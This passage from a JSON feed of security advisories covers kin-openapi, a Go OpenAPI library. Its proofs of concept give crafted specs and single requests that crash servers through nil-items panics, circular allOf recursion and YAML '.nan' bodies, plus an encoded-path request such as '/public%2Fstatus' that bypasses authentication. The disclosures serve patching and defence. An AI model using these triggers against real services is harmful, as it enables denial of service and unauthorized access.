{\n\treturn nil, false, nil\n}\n```\n\nReturning nil leaves a `content`-typed header unvalidated rather than erroring, so it trades the crash for a silent gap. An error return kills the panic just as well if you would rather it surfaced.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-16T19:58:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-74vm-87hj-r66f","https://nvd.nist.gov/vuln/detail/CVE-2026-100349","https://github.com/getkin/kin-openapi/commit/f5441d67f855ed34d975b3b85665764644ab1459","https://github.com/getkin/kin-openapi/releases/tag/v0.146.0","https://github.com/advisories/GHSA-74vm-87hj-r66f"],"source_kind":"github","identifiers":["GHSA-74vm-87hj-r66f","CVE-2026-100349"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-16T20:00:53.374Z","updated_at":"2026-10-18T20:00:30.566Z","epss_percentage":0.00371,"epss_percentile":0.29512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NHZtLTg3aGotcjY2Zs4AB-Ep","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NHZtLTg3aGotcjY2Zs4AB-Ep","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.146.0","vulnerable_version_range":"\u003c= 0.145.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NHZtLTg3aGotcjY2Zs4AB-Ep/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12cmNjLTNjaDctaHBwd84AB9Xf","url":"https://github.com/advisories/GHSA-vrcc-3ch7-hppw","title":"kin-openapi: Incomplete Fix for GHSA-p6wj-qrr4-pgh5: Three Unpatched nil-Items Panic Paths in openapi3filter","description":"## Summary\n\nThe fix for GHSA-p6wj-qrr4-pgh5 addressed a nil-pointer dereference that occurs when an OpenAPI 3.1 array schema omits the `items` keyword (which is legal under JSON Schema 2020-12). That fix patched three decoder paths: the standalone `parseArray` function, the top-level array check in `UrlencodedBodyDecoder`, and `MultipartBodyDecoder`.\n\nThree additional crash paths were missed. All of them reach the unguarded `urlValuesDecoder.parseArray` method (`openapi3filter/req_resp_decoder.go:576`) or the unguarded array branch in `buildResObj` (line 1015):\n\n1. **Query parameters** with `type: array` and no `items`.\n2. **deepObject** query parameters containing an array property with no `items`.\n3. **URL-encoded request bodies** where the array lives inside an `allOf` / `anyOf` / `oneOf` sub-schema. This path bypasses the guard added by the GHSA-p6wj-qrr4-pgh5 fix, because that guard only inspects top-level properties.\n\nEach path is triggerable by an unauthenticated client and produces a deterministic nil-pointer panic during request validation.\n\n## Details\n### Root Cause\n\nThe three paths patched for GHSA-p6wj-qrr4-pgh5 each received a nil-`items` guard:\n\n```go\n// standalone parseArray (line 1143) -- GUARDED\nfunc parseArray(raw []string, schemaRef *openapi3.SchemaRef) ([]any, error) {\n\tif schemaRef.Value.Items == nil || schemaRef.Value.Items.Value == nil { ... }\n\n// UrlencodedBodyDecoder top-level property loop (line 1441) -- GUARDED\nif propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil { ... }\n\n// MultipartBodyDecoder (line 1587) -- GUARDED\nif valueSchema.Value.Items == nil { ... }\n```\n\nBut `urlValuesDecoder.parseArray` (line 576), which handles query-parameter and urlencoded-body array decoding, has **no** such guard:\n\n```go\nfunc (d *urlValuesDecoder) parseArray(raw []string, schemaRef *openapi3.SchemaRef) ([]any, error) {\n\tvar value []any\n\tfor i, v := range raw {\n\t\titem, err := d.parseValue(v, schemaRef.Value.Items) // Items is nil -\u003e panic in parseValue\n```\n\n`parseValue` immediately dereferences the schema it is handed:\n\n```go\nfunc (d *urlValuesDecoder) parseValue(v string, schema *openapi3.SchemaRef) (any, error) {\n\tif len(schema.Value.AllOf) \u003e 0 {   // schema == nil here -\u003e nil pointer dereference\n```\n\nFor the deepObject path, `buildResObj` (line 1015) has the same gap. Its array branch recurses with `schema.Value.Items` (line 1028), which can be nil, and the recursive call dereferences it at line 1015:\n\n```go\ncase schema.Value.Type.Is(\"array\"):\n\t// ...\n\tfor i := range arr {\n\t\tr, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items) // nil Items\n```\n\nFor the allOf body path, `UrlencodedBodyDecoder` validates only top-level `schema.Value.Properties` (line 1429-1449). But `decodeSchemaConstructs` (line 1474) recursively walks `AllOf` / `AnyOf` / `OneOf` sub-schemas and calls `decodeProperty` on their properties, which never pass through the top-level guard and reach `urlValuesDecoder.parseArray`.\n\n## Proof of Concept\n\n### Environment\n\n- kin-openapi v0.144.0 (cloned at tag `v0.144.0`, commit `f0407d5`)\n- Go 1.26.7\n- Each PoC calls `doc.Validate()` first to prove the spec is legal, then drives `openapi3filter.ValidateRequest` directly\n\n### Path 1: Query parameter array without items\n\nSpec (query param `ids` is `type: array`, no `items`), request `GET /test?ids=1\u0026ids=2`:\n\n```\nValidate() ACCEPTED the spec (type: array with no items is legal under OAS 3.1)\nCalling ValidateRequest directly (no net/http recover)...\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal 0xc0000005 code=0x0 addr=0x20 ...]\ngithub.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).parseValue(...)\n\treq_resp_decoder.go:605\ngithub.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).parseArray(...)\n\treq_resp_decoder.go:580\ngithub.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).DecodeArray(...)\n\treq_resp_decoder.go:569\n...\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)\n\tvalidate_request.go:83\nexit status 2\n```\n\n### Path 2: deepObject nested array without items\n\nSpec (deepObject param `filter` with array property `tags`, no `items`), request `GET /test?filter[tags][0]=a`:\n\n```\nValidate() ACCEPTED the spec\nCalling ValidateRequest directly...\npanic: runtime error: invalid memory address or nil pointer dereference\ngithub.com/getkin/kin-openapi/openapi3filter.buildResObj(...)\n\treq_resp_decoder.go:1012\ngithub.com/getkin/kin-openapi/openapi3filter.buildResObj(...)   \u003c- recursive call with nil Items\n\treq_resp_decoder.go:1028\ngithub.com/getkin/kin-openapi/openapi3filter.makeObject(...)\n\treq_resp_decoder.go:947\n...\nexit status 2\n```\n\n### Path 3: URL-encoded body with array inside allOf (bypasses the existing fix)\n\nSpec (urlencoded body, `allOf` sub-schema with array property `tags`, no `items`), request `POST /submit` body `tags=a\u0026tags=b`:\n\n```\nValidate() ACCEPTED the spec\nCalling ValidateRequest directly...\npanic: runtime error: invalid memory address or nil pointer dereference\ngithub.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).parseValue(...)\n\treq_resp_decoder.go:605\ngithub.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).parseArray(...)\n\treq_resp_decoder.go:580\ngithub.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).DecodeArray(...)\n\treq_resp_decoder.go:569\n...\ngithub.com/getkin/kin-openapi/openapi3filter.decodeProperty(...)   \u003c- reached via decodeSchemaConstructs (allOf walker)\n\treq_resp_decoder.go:1519\nexit status 2\n```\n\nThe `decodeProperty` frame confirms the array was reached by walking the `allOf` sub-schema, bypassing the top-level guard that the GHSA-p6wj-qrr4-pgh5 fix added.\n\n### Fix verification\n\nAdding a single nil-`items` guard to `urlValuesDecoder.parseArray` (plus one to the `buildResObj` array branch) turns all three panics into clean validation errors:\n\n```\npoc1: Returned normally, err = parameter \"ids\" in query has an error: array items schema is required for decoding\npoc2: Returned normally, err = parameter \"filter\" in query has an error: path tags: array items schema is required\npoc3: Returned normally, err = \u003cnil\u003e   (no panic; the allOf property is skipped by the decoder)\n```\n\nThis confirms `urlValuesDecoder.parseArray` is the shared root cause for Paths 1 and 3, and `buildResObj` for Path 2.\n\n## Impact\n\nAn unauthenticated client can trigger a deterministic nil-pointer panic in request validation with a single crafted request, against any application that validates OAS 3.1 requests with `openapi3filter` where a spec declares an array without `items`.\n\nThe severity depends on the host:\n\n| Deployment | Behavior | Availability impact |\n|------------|----------|---------------------|\n| Standard `net/http` server (validation runs in the handler goroutine) | `net/http` recovers the panic per-connection; the connection is dropped and the process survives | Per-request denial of service (A:L) |\n| Non-`net/http` hosts (e.g. fasthttp/connect adapters) or validation performed in an application-spawned goroutine | The panic is not recovered; the process crashes | Full-process denial of service (A:H) |\n\nThis was verified in both configurations: under a live `net/http` server the process survived (the panic was logged as `http: panic serving ...` and the process exited 0 at end of test), while the direct-call PoCs above crashed the process with `exit status 2`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-15T20:20:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-vrcc-3ch7-hppw","https://nvd.nist.gov/vuln/detail/CVE-2026-100353","https://github.com/getkin/kin-openapi/commit/9814d1f2b212f3508bf52296aa9e248b2122a5a9","https://github.com/getkin/kin-openapi/releases/tag/v0.149.0","https://github.com/advisories/GHSA-vrcc-3ch7-hppw"],"source_kind":"github","identifiers":["GHSA-vrcc-3ch7-hppw","CVE-2026-100353"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-15T21:00:10.858Z","updated_at":"2026-10-22T13:00:13.134Z","epss_percentage":0.00335,"epss_percentile":0.25545,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cmNjLTNjaDctaHBwd84AB9Xf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12cmNjLTNjaDctaHBwd84AB9Xf","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.149.0","vulnerable_version_range":"\u003e= 0.136.0, \u003c 0.149.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cmNjLTNjaDctaHBwd84AB9Xf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nOGNmLXJjamYtYzhjZs4AB9Xe","url":"https://github.com/advisories/GHSA-g8cf-rcjf-c8cf","title":"kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash","description":"## Summary\n\nkin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular `$ref`s on purpose (to support recursive data structures), and `Schema.validate()` uses stack-based cycle detection. `Validate()` therefore accepts a schema whose `allOf` / `anyOf` / `oneOf` chain refers back to itself, returning no error.\n\nThe runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a **fatal stack overflow** (`runtime: goroutine stack exceeds ... limit` / `fatal error: stack overflow`), which is **not** a recoverable panic. `recover()` cannot catch it, so `net/http`'s per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients.\n\nTwo independent unguarded recursion sites were confirmed:\n\n1. `openapi3/schema.go` — `visitJSON` / `visitXOFOperations` (reached by `VisitJSON`, i.e. response validation and direct schema validation).\n2. `openapi3filter/req_resp_decoder.go` — `decodeValue` (reached first during request parameter decoding). The report also identifies the same gap in `urlValuesDecoder.parseValue` and `buildResObj`/`buildFromSchemas`.\n\n## Details \n### Root Cause\n\n`Schema.validate()` has cycle detection (`openapi3/schema.go:1396`):\n\n```go\nfunc (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) {\n\tif slices.Contains(stack, schema) {\n\t\treturn stack, nil\n\t}\n\t// ...\n\tstack = append(stack, schema)\n```\n\nThe runtime visitor has none. `visitJSON` (line 1951) calls `visitXOFOperations` (line 2189), which iterates the combinator slice and calls `visitJSON` again on each sub-schema:\n\n```go\nfunc (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) {\n\t// ...\n\tfor idx, item := range v { // v = schema.OneOf / AnyOf / AllOf\n\t\tv := item.Value\n\t\t// no check for item.Value == schema (or any ancestor)\n\t\tif err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle\n```\n\nThe request-decoding path has the same structure in `decodeValue` (`openapi3filter/req_resp_decoder.go:270`):\n\n```go\nfunc decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) {\n\tif len(schema.Value.AllOf) \u003e 0 {\n\t\tfor _, sr := range schema.Value.AllOf {\n\t\t\tvalue, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check\n```\n\n## Proof of Concept\n\n### Environment\n\n- kin-openapi v0.144.0 (tag `v0.144.0`, commit `f0407d5`)\n- Go 1.26.7\n\n### Path A: response / direct schema validation (`VisitJSON`)\n\nA schema whose `allOf` refers to itself. `Validate()` is called first to show the schema is accepted, then `VisitJSON()`:\n\n```go\nrecursiveSchema := \u0026openapi3.Schema{\n\tType:       \u0026openapi3.Types{\"object\"},\n\tProperties: openapi3.Schemas{\"name\": {Value: \u0026openapi3.Schema{Type: \u0026openapi3.Types{\"string\"}}}},\n}\nrecursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular\n\n_ = recursiveSchema.Validate(ctx)                       // accepted, no error\n_ = recursiveSchema.VisitJSON(map[string]any{\"name\": \"test\"}) // crashes\n```\n\nOutput:\n\n```\nValidate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it\nCalling VisitJSON() -- expect fatal stack overflow (unrecoverable)...\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n\ngoroutine 1 [running]:\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)\n\topenapi3/schema.go:1951\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)\n\topenapi3/schema.go:2309\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)\n\topenapi3/schema.go:1981\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)\n\topenapi3/schema.go:2309\n... (repeats until stack overflow)\n```\n\nA `defer recover()` placed around the call did **not** catch the fatal error — the process aborted with a non-zero exit code, confirming it is unrecoverable.\n\n### Path B: HTTP request validation against a loaded spec (realistic delivery)\n\nA legal OAS 3.0 spec with a circular `allOf` `$ref`, loaded normally, served behind a standard `net/http` handler using `openapi3filter.ValidateRequest`:\n\n```yaml\nopenapi: '3.0.0'\ninfo: { title: Circular allOf crash PoC, version: '1.0' }\npaths:\n  /test:\n    get:\n      parameters:\n        - name: data\n          in: query\n          schema: { $ref: '#/components/schemas/Recursive' }\n      responses: { '200': { description: OK } }\ncomponents:\n  schemas:\n    Recursive:\n      type: object\n      allOf:\n        - $ref: '#/components/schemas/Recursive'\n      properties:\n        name: { type: string }\n```\n\nA single `GET /test?data=x` crashes the whole server process:\n\n```\nValidate() ACCEPTED the spec with circular allOf $ref\nSending GET /test?data=x through a real net/http server...\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n...\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\topenapi3filter/req_resp_decoder.go:278\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\topenapi3filter/req_resp_decoder.go:278\n... (repeats until stack overflow)\n```\n\nThe line printed after the request (\"the process survived\") was never reached, and the process exited with a non-zero code — the standard `net/http` per-connection `recover()` did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host.\n\n### Fix verification\n\nAdding stack-based cycle detection to both sites (matching `validate()`'s pattern) eliminated the crash:\n\n- `visitJSON` guard: `VisitJSON()` returned normally instead of crashing.\n- `decodeValue` guard: the same `GET /test?data=x` returned a clean `400`:\n\n```\nResponse: 400 \"invalid: parameter \\\"data\\\" in query has an error: circular schema reference detected while decoding\"\nIf you see this line, the process survived.\n```\n\n## Impact\n\nAn unrecoverable, whole-process denial of service. Because the crash is a fatal Go runtime error (not a panic), it cannot be contained by `net/http`'s per-request recovery, so **A:H applies to all host types**, unlike a recoverable-panic bug.\n\nAttack surface, in order of exposure:\n\n- **Applications that load OpenAPI specs from untrusted or semi-trusted sources** (API gateways, spec linters/validators, mock servers, documentation generators). An attacker supplies a spec containing a circular combinator, and any subsequent request/response validation crashes the service. This is the primary remote-attacker scenario.\n- **Applications serving a fixed, trusted spec that happens to contain a circular `allOf`/`anyOf`/`oneOf`.** Here any client request to the affected endpoint crashes the process. The spec author does not need malicious intent; a degenerate recursive combinator is enough. This is a latent reliability bug that becomes remotely triggerable once present.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-15T20:20:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-g8cf-rcjf-c8cf","https://nvd.nist.gov/vuln/detail/CVE-2026-100354","https://github.com/getkin/kin-openapi/commit/9245cef66c840e27a08409a8a5cd0ee930c5bcff","https://github.com/getkin/kin-openapi/releases/tag/v0.149.0","https://github.com/advisories/GHSA-g8cf-rcjf-c8cf"],"source_kind":"github","identifiers":["GHSA-g8cf-rcjf-c8cf","CVE-2026-100354"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-15T21:00:10.858Z","updated_at":"2026-10-22T13:00:13.135Z","epss_percentage":0.00435,"epss_percentile":0.36694,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nOGNmLXJjamYtYzhjZs4AB9Xe","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nOGNmLXJjamYtYzhjZs4AB9Xe","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.149.0","vulnerable_version_range":"\u003c 0.149.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nOGNmLXJjamYtYzhjZs4AB9Xe/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yajM5LWN2NnctOHd2N84AB9Xd","url":"https://github.com/advisories/GHSA-rj39-cv6w-8wv7","title":"kin-openapi: YAML NaN/Inf Values Bypass Built-in Guards and Panic via OAS 3.1 Validation Path","description":"## Summary\n\nkin-openapi guards against `NaN` and `Inf` values in its built-in schema visitor (`visitJSON`) by returning `ErrSchemaInputNaN` / `ErrSchemaInputInf` when a `float64` input violates those constraints. For OAS 3.1 specs, however, `Schema.VisitJSON` routes through `useJSONSchema2020`, which hands the value directly to `santhosh-tekuri/jsonschema/v6` v6.0.2 without applying the same guard.\n\nInside `jsonschema/v6` v6.0.2, `numValidate` builds a `*big.Rat` from the input via `big.Rat.SetString(fmt.Sprintf(\"%v\", v))`. For `NaN`/`Inf` this parse fails silently and returns `nil`. `numValidate` then dereferences the nil `*big.Rat` (in `math/big.(*Rat).Cmp`), producing a Go runtime panic.\n\nAn attacker delivers this by sending an HTTP request with `Content-Type: application/yaml` (or `application/x-yaml`) and a YAML body containing `.nan`, `.inf`, or `-.inf`. The `YamlBodyDecoder` decodes those tokens into `math.NaN()` / `math.Inf(±1)` (standard YAML 1.2 behavior), and they propagate to the unguarded `useJSONSchema2020` path whenever the schema declares a numeric constraint (`minimum`, `maximum`, `exclusiveMinimum`, `exclusiveMaximum`, or `multipleOf`).\n\n## Details\n### Root Cause\n\nThe built-in visitor `visitJSON` at `openapi3/schema.go:1968` guards NaN/Inf explicitly:\n\n```go\ncase float64:\n    if math.IsNaN(value) {\n        return ErrSchemaInputNaN\n    }\n    if math.IsInf(value, 0) {\n        return ErrSchemaInputInf\n    }\n```\n\nFor OAS 3.1 specs, `VisitJSON` dispatches to `useJSONSchema2020` (`openapi3/schema_jsonschema_validator.go:204`), which contains no such guard:\n\n```go\nfunc (schema *Schema) useJSONSchema2020(settings *schemaValidationSettings, value any) error {\n    validator, err := newJSONSchemaValidator(schema)\n    if err != nil {\n        return schema.visitJSON(settings, value)\n    }\n    return validator.validate(value)      // value handed straight through\n}\n```\n\n`jsonSchemaValidator.validate` calls `jsonschema/v6.Schema.Validate` (line 146), which reaches `numValidate` in v6.0.2. There, `big.Rat.SetString(fmt.Sprintf(\"%v\", v))` returns `(nil, false)` for `NaN`/`Inf`, and the code dereferences the `nil` `*big.Rat` in `Rat.Cmp`, causing the panic.\n\n## Proof of Concept\n\n### Environment\n\n- kin-openapi v0.144.0 (tag `v0.144.0`, commit `f0407d5`)\n- santhosh-tekuri/jsonschema/v6 v6.0.2 (transitive dep)\n- Go 1.26.7\n\n### Spec\n\nMinimal OAS 3.1 spec (`spec.yaml`) declaring a YAML body with a numeric constraint:\n\n```yaml\nopenapi: '3.1.0'\ninfo: { title: Test, version: '1.0' }\npaths:\n  /test:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/yaml:\n            schema:\n              type: number\n              minimum: 0\n      responses:\n        '200': { description: OK }\n```\n\n### Trigger\n\nA single `POST /test` with `Content-Type: application/yaml` and body `.nan`, `.inf`, or `-.inf`. All three variants panic:\n\n```\n=== RUN   TestNaNInf\n[nan]    PANIC (confirms vuln): runtime error: invalid memory address or nil pointer dereference\n[inf]    PANIC (confirms vuln): runtime error: invalid memory address or nil pointer dereference\n[neginf] PANIC (confirms vuln): runtime error: invalid memory address or nil pointer dereference\n```\n\n### Panic stack trace (confirms exact chain)\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n\nmath/big.(*Rat).Cmp(0x0, ...)                                       \u003c- nil *big.Rat dereferenced\n    C:/Program Files/Go/src/math/big/rat.go:492\ngithub.com/santhosh-tekuri/jsonschema/v6.(*validator).numValidate(...)\n    .../jsonschema/v6@v6.0.2/validator.go:525\ngithub.com/santhosh-tekuri/jsonschema/v6.(*validator).validate(...)\n    .../jsonschema/v6@v6.0.2/validator.go:168\ngithub.com/santhosh-tekuri/jsonschema/v6.(*Schema).validate(...)\n    .../jsonschema/v6@v6.0.2/validator.go:34\ngithub.com/getkin/kin-openapi/openapi3.(*jsonSchemaValidator).validate(...)\n    openapi3/schema_jsonschema_validator.go:146\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).useJSONSchema2020(...)   \u003c- MISSING NaN/Inf guard\n    openapi3/schema_jsonschema_validator.go:211\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).VisitJSON(...)\n    openapi3/schema.go:1946\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateRequestBody(...)\n    openapi3filter/validate_request.go:364\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)\n    openapi3filter/validate_request.go:96\n```\n\n### net/http behavior (severity nuance)\n\nBehind a standard `net/http` server, the panic is recovered per-connection. The client sees a dropped connection; the server process continues:\n\n```\nSending POST /test body=.nan against real net/http server...\n2026/08/25 http: panic serving 127.0.0.1:40625: runtime error: invalid memory address or nil pointer dereference\nCLIENT ERROR (connection dropped): Post \".../test\": EOF\nProcess still alive after request: true\n```\n\nThis is a **recoverable panic**, unlike the recursion finding. `recover()` catches it (verified by capturing the panic value in a `defer` in the same goroutine). Non-`net/http` hosts or validation performed in an application-spawned goroutine are not covered by that recovery and would experience a full-process crash.\n\n### Fix verification\n\nUpgrading only the transitive dependency to `jsonschema/v6@v6.0.3` (via `go get github.com/santhosh-tekuri/jsonschema/v6@v6.0.3`) eliminates the panic entirely; all three payloads return a clean validation error:\n\n```\n[nan]    Returned normally, err = request body has an error: doesn't match schema: validation failed due to: at '': invalid jsonType float64\n[inf]    Returned normally, err = request body has an error: doesn't match schema: validation failed due to: at '': invalid jsonType float64\n[neginf] Returned normally, err = request body has an error: doesn't match schema: validation failed due to: at '': invalid jsonType float64\n```\n\nThis confirms the upstream `jsonschema/v6` v6.0.3 release treats the NaN/Inf case as a bug and fixes it at the source. It also confirms `useJSONSchema2020` is the reachable path: patching only the transitive dep removes the panic without touching kin-openapi code.\n\n## Why This Is a Vulnerability, Not by Design\n\n- The library explicitly refuses NaN/Inf in its own visitor (`ErrSchemaInputNaN` / `ErrSchemaInputInf` at `schema.go:1968`). The stated policy is: these values are not allowed.\n- The OAS 3.1 dispatch (`useJSONSchema2020`) simply omits the same guard — a coding gap, not a design decision.\n- Upstream `jsonschema/v6` v6.0.3 fixes the same case as a bug. Two independent code owners agree it should not panic.\n- The trigger is a single HTTP request body an unauthenticated client can send. There is no legitimate content-authoring reason to submit `.nan` / `.inf` as a numeric field.\n\n## Impact\n\n- **Per-request denial of service (net/http hosts).** Every crafted request kills its own connection with zero attacker cost. Sustained flooding degrades service reliability and log noise.\n- **Full-process denial of service (non-net/http hosts or goroutine-spawned validation).** No `net/http` recovery wrapper is present; the whole process crashes on a single request.\n- **Attack surface is any OAS 3.1 API that accepts YAML bodies with numeric constraints.** These constraints (`minimum`, `maximum`, `exclusiveMinimum`, `exclusiveMaximum`, `multipleOf`) are common on any numeric field with a range.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-15T20:20:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-rj39-cv6w-8wv7","https://nvd.nist.gov/vuln/detail/CVE-2026-100352","https://github.com/getkin/kin-openapi/commit/4487f198ab8be0c37d6ca72c54f5dca4dc25270e","https://github.com/getkin/kin-openapi/releases/tag/v0.148.0","https://github.com/advisories/GHSA-rj39-cv6w-8wv7"],"source_kind":"github","identifiers":["GHSA-rj39-cv6w-8wv7","CVE-2026-100352"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-15T21:00:10.858Z","updated_at":"2026-10-20T17:00:08.115Z","epss_percentage":0.00426,"epss_percentile":0.35507,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yajM5LWN2NnctOHd2N84AB9Xd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yajM5LWN2NnctOHd2N84AB9Xd","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.148.0","vulnerable_version_range":"\u003c 0.148.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yajM5LWN2NnctOHd2N84AB9Xd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yM3ZnLTRjam0tNjZxNc4AB9XZ","url":"https://github.com/advisories/GHSA-23vg-4cjm-66q5","title":"kin-openapi: ValidationHandler security-requirement bypass via encoded-path operation confusion","description":"## Summary\n\n`openapi3filter.ValidationHandler.Middleware` validates requests with kin-openapi's\nlegacy router, which selects an OpenAPI operation from the decoded `URL.Path`. The\nmethod is documented as implementing `gorilla/mux.MiddlewareFunc`, but a downstream\ngorilla/mux router configured with `UseEncodedPath()` selects its handler from the\nencoded representation (`URL.RawPath`).\n\nAn unauthenticated request such as `/public%2Fstatus` can therefore be validated as an\nintentionally public operation (`/public/status`) and then dispatched to a protected\noperation (`/{id}`). The configured, rejecting `AuthenticationFunc` is never invoked,\nand the protected downstream handler runs.\n\nThis is distinct from GHSA-r277-6w6q-xmqw. The behavior below uses an explicit\nauthentication callback that rejects missing credentials and remains reproducible\nafter the v0.144.0 fix for the unsafe default callback.\n\n## Affected products\n\n- Product: `github.com/getkin/kin-openapi`\n- Component: `openapi3filter.ValidationHandler.Middleware`\n- Confirmed post-GHSA affected releases: v0.144.0, v0.145.0, and v0.146.0\n- Reporter attestation: each listed release was checked out separately, the attached\n  single-file test was copied into `openapi3filter/`, and that test passed; maintainers\n  should independently confirm the version range\n- Confirmed affected development revision: `d33e44e67734dcde81b576582185e1343fb3985d`\n- v0.143.0 also reproduces this mechanism, but GHSA-r277-6w6q-xmqw already provides a\n  simpler bypass on that release; the distinct post-fix claim starts at v0.144.0\n- Earlier releases: not tested; please treat the introduction boundary as unknown\n\n## Security impact\n\nAn unauthenticated remote requester can reach a handler whose OpenAPI operation\nrequires authentication when all of the following are true:\n\n1. the application uses `ValidationHandler.Middleware` as the security gate;\n2. the downstream router preserves and interprets an encoded path, such as\n   gorilla/mux with `UseEncodedPath()`;\n3. a public exact route and a protected parameterized route overlap after decoding;\n4. the public and protected operations expose the same HTTP method;\n5. the protected handler relies on the validation layer's security decision.\n\nThe protected operation's path-parameter value is constrained: it is an encoded\nrepresentation that decodes to a public literal path (`public%2Fstatus` in this PoC),\nnot an arbitrary attacker-selected identifier. A protected operation without a\ncompatible parameterized path is not reachable through this specific mechanism.\n\n- Primitive: the security decision is made for a different OpenAPI operation than the\n  operation dispatched by the application router.\n- Demonstrated impact: a protected handler executes while the explicitly rejecting\n  `AuthenticationFunc` is never invoked.\n- Impact ceiling: confidentiality or integrity loss when the reachable protected\n  handler has that authority; the PoC does not demonstrate data disclosure or state\n  modification.\n- Availability impact: not demonstrated.\n\n## Root cause\n\nAt the confirmed development revision:\n\n- `openapi3filter/validation_handler.go`: `ValidationHandler.Load` constructs\n  `routers/legacy.NewRouter` unconditionally.\n- `routers/legacy/router.go`: route selection uses the decoded request path.\n- `routers/gorillamux/router.go`: the kin-openapi gorilla router constructs a\n  gorilla/mux router with `UseEncodedPath()`.\n- `ValidationHandler.Middleware` forwards the unchanged request after validation.\n\nThe component making the authentication 